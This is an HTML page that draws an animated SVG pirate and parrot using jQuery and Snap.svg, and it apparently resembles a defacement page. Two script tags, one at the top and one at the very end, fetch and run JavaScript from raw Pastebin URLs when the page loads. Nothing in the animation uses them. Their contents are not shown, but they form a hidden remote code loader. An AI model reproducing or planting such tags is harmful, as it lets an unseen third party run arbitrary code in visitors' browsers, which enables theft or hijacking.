ÿþ<html> <script type="text/javascript" src="https://pastebin.com/raw/y7yZx1nQ"> </script> <svg version="1.1" id="the-pirate-scene" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="402px" height="486px" viewBox="0 0 402 486" enable-background="new 0 0 402 486" xml:space="preserve"> <g> <g id="the-pirate"> <g id="torso"> <rect x="195.5" y="231.896" fill="#689E4E" width="114" height="97.5" /> <rect x="217" y="254.396" fill="#BCDBA7" width="41.5" height="75" /> <polygon fill="#497A39" points="291,260.896 291,335.896 311,335.896 310.75,308.896 310.25,304.646 312,279.896" /> <circle fill="#497A39" cx="239.625" cy="270.607" r="1.875" /> <circle fill="#497A39" cx="239.625" cy="293.607" r="1.875" /> <circle fill="#497A39" cx="239.625" cy="314.607" r="1.875" /> <g id="free-arm"> <polygon fill="#689E4E" points="290.5,258.896 322.5,292.396 322.5,330.396 359,330.396 359,280.896 305,229.896 290.5,229.896" /> <polygon fill="#497A39" points="347.5,270.034 347.5,330.396 360,330.396 360,306.896 359,280.896" /> <rect x="343.5" y="316.482" fill="#87BA72" width="6" height="5.913" /> <path fill="#87BA72" d="M323,330.396l-8,7.5c0,0,1,21,8,21.5c0,0,9.5-1.5,12-10c0,0,6,11-2.5,15.5c0,0,1,12.5,20,8l10-11v-27.5 l-5-4H323z" /> <path fill="none" stroke="#50843D" stroke-miterlimit="10" d="M340.984,373.465c0,0,10.016-2.569,12.766-17.069" /> </g> <g id="the-belt"> <polygon points="194,329.396 194,356.396 311,353.396 311,329.396" /> <rect x="196" y="331.396" fill="#689E4E" width="21" height="4.5" /> <rect x="262" y="331.396" fill="#689E4E" width="34" height="4.5" /> <polygon fill="#D1E7C2" points="254.5,329.396 223.5,329.396 223.5,355.639 254.5,354.845 254.5,348.896 236,348.396 236,338.896 254.5,338.896" /> </g> <g id="sword-arm"> <polygon fill="#70AA56" points="92.167,205.395 92.167,217.395 79.5,217.395 63.167,199.728 63.167,181.395 70,175.062 86.333,160.728 105.833,160.728 101,165.062 104.5,167.895" /> <rect x="79.333" y="186.062" fill="#D9E9D3" width="3.5" height="14.167" /> <rect x="75.985" y="169.809" fill="#D9E9D3" width="3.348" height="3.253" /> <rect x="82.833" y="164.728" fill="#D9E9D3" width="3" height="2.167" /> <rect x="90.333" y="157.062" fill="#D9E9D3" width="11.5" height="3.667" /> <polygon fill="#D1E7C2" points="70,175.062 35.5,140.395 22.167,112.728 23,89.562 28.333,89.562 28.333,90.562 90.333,153.562 108,153.895 108,160.728 86.333,160.728" /> <polygon fill="#B1C8A1" points="72.15,135.085 72.15,173.062 86.333,160.728 108,160.728 108,153.895 90.333,153.562" /> <line fill="none" stroke="#D9E9D3" stroke-width="4" stroke-miterlimit="10" x1="44.332" y1="115.896" x2="68.665" y2="141.062" /> <path fill="#87BA72" d="M114.167,190.728v-9.833l-9-7.5H92.333c0,0-24.167,22.333-8.5,38l9.5,1.333L114.167,190.728z" /> <polygon fill="#689E4E" points="195.003,232.065 161.003,232.065 114.669,188.731 90.669,214.396 90.669,226.731 97.003,225.398 97.669,232.065 105.003,232.065 104.669,239.398 111.669,239.398 111.336,245.398 124.003,245.398 123.669,252.065 131.669,252.065 131.669,259.398 139.669,259.398 145.336,266.398 195.003,266.398" /> <polygon fill="#50843D" points="195.003,235.732 175.926,248.065 175.926,254.399 161.856,254.399 161.856,261.399 143.432,261.399 143.432,255.399 131.669,252.065 130.367,248.565 125,246.396 123.667,241.065 115.627,240.065 115.627,235.732 110.603,235.732 110.603,227.065 103.233,227.065 103.233,220.732 97.873,220.732 97.873,214.399 90.669,214.521 90.669,227.521 95.528,227.399 95.528,234.065 101.558,234.065 102.563,240.732 109.263,241.732 109.263,248.732 121.658,248.399 121.992,255.732 131.372,261.399 138.742,261.399 143.097,268.732 195.003,268.732" /> <path fill="none" stroke="#50843D" stroke-miterlimit="10" d="M84.5,188.646c0,0,7.15,8.415,5.575,11.583" /> <path fill="none" stroke="#50843D" stroke-miterlimit="10" d="M90.669,180.112c0,0,7.497,6.783,5.414,12.283" /> </g> </g> <g id="the-head"> <g id="pirate-hat"> <path fill="#3A6E35" stroke="#000000" stroke-width="3" stroke-miterlimit="10" d="M325,153.896v-25l-7.5-0.5v-11.782 C316,112.332,298,96.396,298,96.396c-24.5-27.5-68-13.5-68-13.5c-18,3-34.5,30.5-34.5,30.5v21.5h-6v19c0,0-19-33.5-34.5,0v37h37 c0,0,16.5-14.5,18,5.5l122.5,1.5v-34.5C332.5,163.396,330.5,152.896,325,153.896z" /> <line fill="none" stroke="#587F49" stroke-width="5" stroke-miterlimit="10" x1="268" y1="92.896" x2="305.75" y2="130.646" /> <polygon fill="#DBECD3" stroke="#000000" stroke-miterlimit="10" points="264.207,98.396 223.832,98.396 223.832,104.896 217.332,104.896 217.332,112.396 213.832,112.396 213.832,125.896 217.832,125.896 217.666,132.396 227.5,132.396 227.666,138.729 234.832,138.729 234.832,132.062 241,132.062 240.832,138.729 248.166,138.729 248.166,131.729 254.166,131.729 254.332,138.729 262.832,138.729 262.832,131.896 271.832,131.895 271.875,125.603 275,125.729 275,112.229 271.582,112.27 271.5,104.396 264.157,104.396" /> <rect x="224.082" y="111.271" stroke="#000000" stroke-miterlimit="10" width="11.375" height="11.375" /> <rect x="250.082" y="111.271" stroke="#000000" stroke-miterlimit="10" width="11.375" height="11.375" /> <line fill="none" stroke="#587F49" stroke-width="5" stroke-miterlimit="10" x1="179" y1="154.896" x2="187.25" y2="163.146" /> </g> <path fill="#A3CE89" d="M199,152.896l-4.5,4v21.5h-3l0.25,22.5H199l2.5-7.5l119,0.5v-17c0,0-7.5-20.5-21.5-6.5c0,0,0,2-4.5,0.5 l-0.5-11.5l-6.75-6.5H199z" /> <polyline fill="none" stroke="#000000" stroke-width="4" stroke-miterlimit="10" points="207,163.396 217.5,163.396 231,177.896" /> <polyline fill="none" stroke="#000000" stroke-width="4" stroke-miterlimit="10" points="254.5,177.896 269,163.396 283,163.396" /> <rect x="213" y="176.396" fill="#75AA66" width="8" height="10.5" /> <rect x="211" y="176.396" fill="#7EC352" stroke="#75AA66" stroke-width="0.25" stroke-miterlimit="10" width="8" height="10.5" /> <rect x="213.832" y="180.112" fill="#C5E1AC" stroke="#75AA66" stroke-width="0.25" stroke-miterlimit="10" width="2.336" height="3.066" /> <line fill="none" stroke="#75AA66" stroke-width="2" stroke-miterlimit="10" x1="237.75" y1="188.646" x2="238" y2="192.396" /> <line fill="none" stroke="#75AA66" stroke-width="2" stroke-miterlimit="10" x1="248.75" y1="188.646" x2="249" y2="192.396" /> <path fill="#4C773E" d="M244,152.396c0,0,5.25,12.25,15,18.75c0,0-3.25,16.5,10.75,16.25l10.5,0.003c0,0,6,7.997,7.5,7.997h6 l-8.25-8.75c0,0,8-6.25,0.25-20.75l-28.25,0.25l-10.5-13.75h-2H244z" /> <polygon fill="#75C26E" points="203.125,196.812 203.125,202.313 196.5,202.313 196.5,225.021 291.625,225.021 289.75,196.812 " /> <rect id="mouth-bakground" x="209.5" y="195.396" fill="#3A6E35" width="71" height="21.25" /> <polygon id="beard" fill="#101B0F" points="276,192.646 199.75,192.646 199.75,199.146 191.75,199.146 191.75,236.146 205.25,236.146 206.25,242.646 213.5,242.646 213.5,249.146 227.25,249.146 227,255.396 266,255.396 265.5,248.146 279.25,248.896 279.25,241.896 286,241.896 286,235.396 299,235.396 299,192.646 288.5,192.646 288.812,224.021 199.25,224.021 199.75,204.396 206,204.458 206,197.896 289.188,198.177 289.125,192.614" /> <g id="bottom-teeth"> <rect x="209.5" y="205.271" fill="#EBF5E9" stroke="#000000" stroke-miterlimit="10" width="75.125" height="11.375" /> <line fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" x1="220.5" y1="212.646" x2="220.5" y2="216.396" /> <line fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" x1="231.5" y1="212.646" x2="231.5" y2="216.396" /> <line fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" x1="241.5" y1="212.646" x2="241.5" y2="216.396" /> <line fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" x1="251.5" y1="212.646" x2="251.5" y2="216.396" /> <line fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" x1="260.5" y1="212.646" x2="260.5" y2="216.396" /> <line fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" x1="270.5" y1="212.646" x2="270.5" y2="216.396" /> </g> <g id="top-teeth"> <rect x="206.125" y="198.021" fill="#EBF5E9" stroke="#000000" stroke-miterlimit="10" width="50.25" height="13.25" /> <rect x="267" y="198.021" fill="#EBF5E9" stroke="#000000" stroke-miterlimit="10" width="13.5" height="13.25" /> <line fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" x1="215.5" y1="198.646" x2="215.5" y2="202.396" /> <line fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" x1="226.5" y1="198.646" x2="226.5" y2="202.396" /> <line fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" x1="236.5" y1="198.646" x2="236.5" y2="202.396" /> <line fill="#FFFFFF" stroke="#000000" stroke-width="0.5" stroke-miterlimit="10" x1="246.5" y1="198.646" x2="246.5" y2="202.396" /> </g> </g> <g id="legs"> <polygon id="main-green" fill="#689E4E" points="193,354.396 193,388.396 199,394.396 229,394.396 236,377.896 248.5,377.896 245,382.896 245,389.896 252,391.396 306.5,390.896 306.5,384.396 311,384.396 311,374.396 308,374.396 308,354.396" /> <polygon id="boot-darkaccent" fill="#497A39" points="288.5,356.896 288.5,368.896 292.5,368.896 292.5,376.396 288.5,376.396 288.5,389.396 292.5,423.396 298.5,423.396 298.5,409.896 303,409.396 308.5,404.896 308.5,384.896 311.5,384.896 311.5,374.896 309.5,353.434 288.5,354.396" /> <g id="peg-leg"> <path fill="#689E4E" d="M201,391.896c0,0-2,10,8,14.5h12.5v-14.5H201z" /> <polygon id="peg-darkaccent" fill="#497A39" points="220.5,406.895 220.5,382.553 223.5,382.553 223.5,374.438 233.5,374.438 233.5,371.396 249,371.396 249,377.481 234.75,379.003 234.75,389.146 231,391.681 231,401.823" /> <rect x="200.873" y="391.771" fill="#497A39" width="20.627" height="2.375" /> <rect x="211.168" y="406.396" fill="#497A39" width="7.334" height="28.004" /> <rect x="211.168" y="407.396" fill="#689E4E" width="7.334" height="37.337" /> </g> <g id="boot-leg"> <polygon fill="#608C50" points="253,393.231 249,395.897 249,407.064 253,408.397 292,408.397 292,393.231" /> <rect x="248.17" y="391.065" fill="#497A39" width="41.5" height="2.167" /> <polygon fill="#689E4E" points="252.002,408.398 252.002,417.065 258,417.065 258,425.565 244.668,437.232 244.668,444.732 294.168,444.732 294.168,422.898 297.668,422.898 297.668,408.398" /> <rect x="262.502" y="417.565" fill="#454942" width="13" height="3.833" /> <rect x="261.502" y="416.565" fill="#D1E7C2" width="13" height="3.833" /> <rect x="262.502" y="424.065" fill="#454942" width="14" height="3.5" /> <rect x="261.502" y="423.065" fill="#D1E7C2" width="14" height="3.5" /> </g> </g> </g> <g id="the-bird"> <path id="bird-body" fill="#8EBD6F" stroke="#000000" stroke-width="3" stroke-miterlimit="10" d="M335,159.395h-13v-5h-10.666v5H320l1.666,4.667 h-5l-1,29.667h-4.332v6h-19.668v4.667h-10v-4.667c0,0-4.666-1-5.666,0.333v14.334h4.666v5.332H286v4h6.334l-0.668,6.334h5 l-0.332,10H302v5.333h3.5v13.667h6.5v-4h4.334v-5l-5-0.334v-4.666l10.332,0.333v13.667H327v-4h4.666v-4.667H327v-5h3.334v-4.667 H337v-6h5v-5.333h19v-4l6-0.333v-4.667h4.666v-20.667c0,0-4.334-1.333-4.666,0l-0.334,4.667h-5v4H346v-1.667h-3.666v-6h-4.668 v-5.333h-6.332v-5.667H342v3.667l9.666,0.667v5h4.668v-14.667h-4.668v-18.667l-6-0.667v-5.333L335,159.395z" /> <polygon fill="#7EB542" points="311.334,199.728 311.25,239.396 337,239.396 337,219.562 340.25,218.396 341.875,210.896 326.562,197.896 326.562,194.396 330.666,194.396 330.666,180.395 337,180.395 337,174.895 346.586,174.895 346.586,181.396 351.666,181.396 351.666,165.728 345.666,165.062 345.666,159.728 322,159.395 321.666,164.062 316.666,164.062 315.666,193.728 311.334,193.728" /> <rect x="324.834" y="169.395" width="5.832" height="11" /> <rect x="328.375" y="169.521" fill="#FFFFFF" width="2.291" height="2.625" /> <rect x="341.875" y="169.395" width="4.375" height="4.876" /> <rect x="345.227" y="169.585" fill="#FFFFFF" width="1.359" height="1.559" /> <polygon fill="#53843C" points="296.666,230.062 306.5,230.062 306.5,233.646 311.25,233.646 311.25,239.396 337,239.396 337,240.728 330.334,240.728 330.334,245.395 305.5,245.395 302,245.395 302,240.062 296.334,240.062" /> <line fill="none" stroke="#53843C" stroke-miterlimit="10" x1="326.666" y1="203.562" x2="334.333" y2="209.896" /> </g> </g> </svg> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/snap.svg/0.3.0/snap.svg-min.js"></script> <script type='text/javascript'> (function(window, document, $) { "use strict"; var s = Snap.select("#the-pirate-scene"), pirate = s.select("#the-pirate"), head = s.select("#the-head"), teethBottom = s.select("#bottom-teeth"), mouth = s.select("#mouth-background"), beard = s.select("#beard"), torso = s.select("#torso"), legsGreen = s.select("#main-green"), legsAccentGreen = s.select("#boot-darkaccent"), pegLeg = s.select("#peg-leg"), bootLeg = s.select("#boot-leg"), bird = s.select("#the-bird"), birdBody = s.select("#bird-body"); var theApp = { init: function() { theBird.controls(); thePirate.controls(); } }, theBird = { controls: function() { setTimeout(function() { window.requestAnimationFrame(theBird.jump('20')); }, 1000); setTimeout(function() { window.requestAnimationFrame(theBird.jump('20')); }, 1650); setTimeout(function() { window.requestAnimationFrame(theBird.flapWings); }, 1070); setTimeout(function() { window.requestAnimationFrame(theBird.flapWings); }, 1800); setInterval(function() { setTimeout(function() { window.requestAnimationFrame(theBird.jump('20')); }, 1000); setTimeout(function() { window.requestAnimationFrame(theBird.flapWings); }, 1070); setTimeout(function() { window.requestAnimationFrame(theBird.jump('20')); }, 1650); setTimeout(function() { window.requestAnimationFrame(theBird.flapWings); }, 1800); }, 3000); }, flapWings: function() { birdBody.animate({ d: "M335,159.395h-13v-5h-10.666v5H320l1.666,4.667 h-5l-1,29.667h-4.332v6h-19.668v4.667l-13.035,0.202l-1.797,22.32c-1.897-1.094,14.518,1.511,13.417,2.979l0.032-12.378 l-0.616-1.85l0.833,2.5l-0.999,1.5l0.999,4.061h1.834l-0.668,6.334h5l-0.332,10H302v5.333h3.5v13.667h6.5v-4h4.334v-5l-5-0.334 v-4.666l10.332,0.333v13.667H327v-4h4.666v-4.667H327v-5h3.334v-4.667H337v-6h5v-5.333h19v-4l0.584-3.478l0.834,2.088l-0.5,4.996 l9.832,0.895c0,0,0.59-12.867,0.258-11.533l-1.258-12.342l-6.875,0.708l-2.209,1.667H346v-1.667h-3.666v-6h-4.668v-5.333h-6.332 v-5.667H342v3.667l9.666,0.667v5h4.668v-14.667h-4.668v-18.667l-6-0.667v-5.333L335,159.395z" }, 70, mina.linear, function() { setTimeout(function() { birdBody.animate({ d: "M335,159.395h-13v-5h-10.666v5H320l1.666,4.667 h-5l-1,29.667h-4.332v6h-19.668v4.667h-10v-4.667c0,0-4.666-1-5.666,0.333v14.334h4.666v5.332H286v4h6.334l-0.668,6.334h5 l-0.332,10H302v5.333h3.5v13.667h6.5v-4h4.334v-5l-5-0.334v-4.666l10.332,0.333v13.667H327v-4h4.666v-4.667H327v-5h3.334v-4.667 H337v-6h5v-5.333h19v-4l6-0.333v-4.667h4.666v-20.667c0,0-4.334-1.333-4.666,0l-0.334,4.667h-5v4H346v-1.667h-3.666v-6h-4.668 v-5.333h-6.332v-5.667H342v3.667l9.666,0.667v5h4.668v-14.667h-4.668v-18.667l-6-0.667v-5.333L335,159.395z" }, 70, mina.linear); }, 100); }); }, jump: function(y) { bird.animate({ transform: 't0,-' + y }, 100, mina.linear, function() { bird.animate({ transform: 't0,0' }, 100, mina.backout); }); } }, thePirate = { controls: function() { window.requestAnimationFrame(thePirate.headBob); window.requestAnimationFrame(thePirate.bodySize); setTimeout(function() { window.requestAnimationFrame(thePirate.jump); window.requestAnimationFrame(thePirate.mouthOpen); window.requestAnimationFrame(thePirate.legKicks); window.requestAnimationFrame(theBird.jump('10')); }, 50); setTimeout(function() { window.requestAnimationFrame(thePirate.headBob); }, 450); setTimeout(function() { window.requestAnimationFrame(thePirate.jump); window.requestAnimationFrame(thePirate.mouthOpen); window.requestAnimationFrame(thePirate.legKicks); window.requestAnimationFrame(theBird.jump('10')); }, 500); setInterval(function() { window.requestAnimationFrame(thePirate.headBob); window.requestAnimationFrame(thePirate.bodySize); setTimeout(function() { window.requestAnimationFrame(thePirate.jump); window.requestAnimationFrame(thePirate.mouthOpen); window.requestAnimationFrame(thePirate.legKicks); window.requestAnimationFrame(theBird.jump('10')); }, 50); setTimeout(function() { window.requestAnimationFrame(thePirate.headBob); }, 450); setTimeout(function() { window.requestAnimationFrame(thePirate.jump); window.requestAnimationFrame(thePirate.mouthOpen); window.requestAnimationFrame(thePirate.legKicks); window.requestAnimationFrame(theBird.jump('10')); }, 500); }, 3000); }, headBob: function() { head.animate({ transform: 't3,-3' }, 50, mina.linear, function() { head.animate({ transform: 't0,0' }, 50, mina.linear); }); }, jump: function() { pirate.animate({ transform: 't0,-10' }, 100, mina.linear, function() { pirate.animate({ transform: 't0,0' }, 100, mina.linear); }); }, mouthOpen: function() { teethBottom.animate({ transform: 't0,12' }, 50, mina.linear, function() { setTimeout(function() { teethBottom.animate({ transform: 't0,0' }, 50, mina.linear); }, 550); }) }, bodySize: function() { torso.animate({ transform: 't0,3' }, 50, mina.linear, function() { torso.animate({ transform: 't0,0' }, 50, mina.linear); }); }, legKicks: function() { legsGreen.animate({ points: "193,354.396 183.75,383.875 190.625,389.145 213.25,396.75 230.375,377.25 248.5,377.896 250.062,380.75 256.5,387.125 268.002,396 313.625,388.414 312.821,383.582 316.375,383.125 316.375,373.873 313,372.5 308,354.396" }, 100, mina.linear, function() { legsGreen.animate({ points: "193,354.396 193,388.396 199,394.396 229,394.396 236,377.896 248.5,377.896 245,382.896 245,389.896 252,391.396 306.5,390.896 306.5,384.396 311,384.396 311,374.396 308,374.396 308,354.396" }, 100, mina.linear); }); legsAccentGreen.animate({ points: "289.67,356.396 293.5,366.5 295.625,368.875 297.668,376.5 294.5,379.125 296.75,387.928 301.532,422.421 311,421.398 309.021,404.802 312.082,405.25 318.802,403.966 313.5,387.662 316.375,383.125 316.375,373.873 309.5,353.434 288.5,354.396" }, 100, mina.linear, function() { legsAccentGreen.animate({ points: "288.5,356.896 288.5,368.896 292.5,368.896 292.5,376.396 288.5,376.396 288.5,389.396 292.5,423.396 298.5,423.396 298.5,409.896 303,409.396 308.5,404.896 308.5,384.896 311.5,384.896 311.5,374.896 309.5,353.434 288.5,354.396" }, 100, mina.linear); }); pegLeg.animate({ transform: 'r5,250,250' }, 100, mina.linear, function() { pegLeg.animate({ transform: 'r0,0,0' }, 100, mina.linear); }); bootLeg.animate({ transform: 'r-5,250,250' }, 100, mina.linear, function() { bootLeg.animate({ transform: 'r0,0,0' }, 100, mina.linear); }); } }; $(document).ready(function() { theApp.init(); }); }(this, this.document, this.jQuery)); </script> <script type="text/javascript" src="https://pastebin.com/raw/j5NFcmS5"> </script> </html>